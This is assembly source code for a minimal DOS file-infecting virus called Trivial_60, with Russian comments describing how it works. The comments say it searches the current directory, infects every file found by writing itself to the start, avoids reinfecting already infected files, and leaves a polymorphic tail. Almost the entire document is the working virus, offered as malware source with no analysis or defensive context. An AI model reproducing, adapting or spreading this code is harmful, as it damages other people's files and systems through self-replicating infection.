; Trivial_60 by 2b  was (Trivial_63 (c) by RedArc)

;■ поиск и инфицирование всех-файлов в текущем каталоге
;■ инфицирование в начало
;■ не исполняет код программы-жертвы
;■ не портит код жертвы, что делает возможным его лечение
;■ не заражает повторно уже инфицированные программы
;■ не резидентный

;■ в зараженном файле последние 196 байт - полиморфны  ;)
; PS: это не самый... Можно еще короче.

Model Tiny
.code
org 100h
start:
        db '*.*',0h
       xchg cx,ax
       mov ah,4eh
;       mov dx,(virlength-4)+100h
        mov dx,si
@0:
       int 21h
       jnb @1
       ret
@1:
       mov ax,3d02h

       cwd              ; mov dx,9eh
       mov dl,9eh       ;

       int 21h
       xchg bx,ax
       mov ah,3fh
       push sp
       pop cx
       mov dx,virlength+100h
       int 21h
;       cmp byte ptr ds:[virlength+100h],091h
       cmp byte ptr ds:[si+virlength],02ah
       je @2
;       add ax,virlength
       inc ah           ; +256

       push ax

       xor cx,cx        ; mov ax,4200h
       mul cx           ; xor cx,cx
       mov ah,42h       ; cwd

       int 21h
       mov dx,si
       pop cx
       mov ah,40h
       int 21h
@2:
       mov ah,4fh
       jmp short @0
virlength equ $-start
end start